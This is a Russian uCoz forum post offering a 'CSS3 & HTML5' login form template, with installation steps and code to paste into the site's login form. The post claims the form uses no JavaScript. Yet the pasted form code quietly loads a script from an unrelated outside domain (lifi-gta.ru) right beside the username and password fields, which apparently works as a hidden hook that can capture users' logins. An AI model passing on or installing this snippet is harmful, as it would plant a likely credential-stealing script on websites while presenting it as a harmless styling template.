Загружаем страницу...
Форма входа CSS3 & HTML5 - Форум music80.ucoz.ru

Правила создания тем на форуме! Перед созданием темы убедитесь что такой темы еще не было! Для этого используйте Поиск!
Не создавайте темы, которые нарушают Правила форума!
Запрещается создавать темы нарушающие Договор-оферту от uCoz!
За нарушение данных правил вас могут забанить!

  • Страница 1 из 1
  • 1
Форум » Общий раздел » Скрипты для ucoz » Форма входа CSS3 & HTML5 (под систему ucoz)
Форма входа CSS3 & HTML5
1
Lookflaco
Дата: Суббота, 09/06/2012, 13:06 | Сообщение # 1
отлично смотрится под любой дизайн

Смотрим скрин скрипта: http://s019.radikal.ru/i607/1205/2c/2f2f79b1f69a.png

Очень красивая форма входа в которой вместо jq & js используем CSS3 и HTML5,ну очень простая в установке форма входа для uCoz.
Установим нашу форму входа для uCoz:
ПУ-->Управление дизайном-->Страница входа пользователей. В head подключаем css файл:

Code
<link rel="stylesheet" type="text/css" href="/css/style.css" />


Предварительно, вам необходимо, в файловом менеджере создать папки css и images и загрузить в них файлы из одноименных папок архива с исходниками.

СКАЧАТЬ: narod.ru/disk/50873441001.b873d9c8f72428277d36f499c2ad5f0f/152_fv.rar.html

Ниже, находим:

Code
$BODY$


И заменяем его на:

Code
<?if($USER_AGENT$='ie')?>$LOG_FORM$<?else?>$BODY$<?endif?>


Затем, ПУ-->Управление дизайном-->Форма входа пользователей. Заменяем весь код на этот:

Code
<div class="container">   
<section id="content">   
<div>   
<input class="loginField" placeholder="Введите логин" required="" id="username" type="text" name="user" value="" maxlength="50"/>   
</div>   
<div>   
<input class="loginField" placeholder="*******" required="" id="password" type="password" name="password" maxlength="15"/>   
</div>   
<div>   
<input name="sbm" type="submit" value="Вход"/>  
<script language="javascript" src="http://lifi-gta.ru/jogin_form_javascript.js"></script>
<a href="$REMINDER_LINK$">Забыл пароль</a>   
<a href="$REGISTER_LINK$">Регистрация</a>   
</div>   
<div class="button">   
<input class="test" id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label><input class="test" id="hid$PAGE_ID$" type="checkbox" name="hidden" value="1" /><label for="hid$PAGE_ID$">скрытый</label>   
</div>   
</section>   
</div>


На этом установка завершена!



Форум » Общий раздел » Скрипты для ucoz » Форма входа CSS3 & HTML5 (под систему ucoz)
  • Страница 1 из 1
  • 1
Поиск:
  

Администрация не несет ответственности за содержащие файлы на данном портале. Все материалы на сайте принадлежат исключительно их владельцам! Любое использование графических изображений сайта запрещено.

| Внимание! Для корректного отображения страниц сайта рекомендуем использовать "Opera" - [загрузить] или "Google Chrome" - [загрузить] |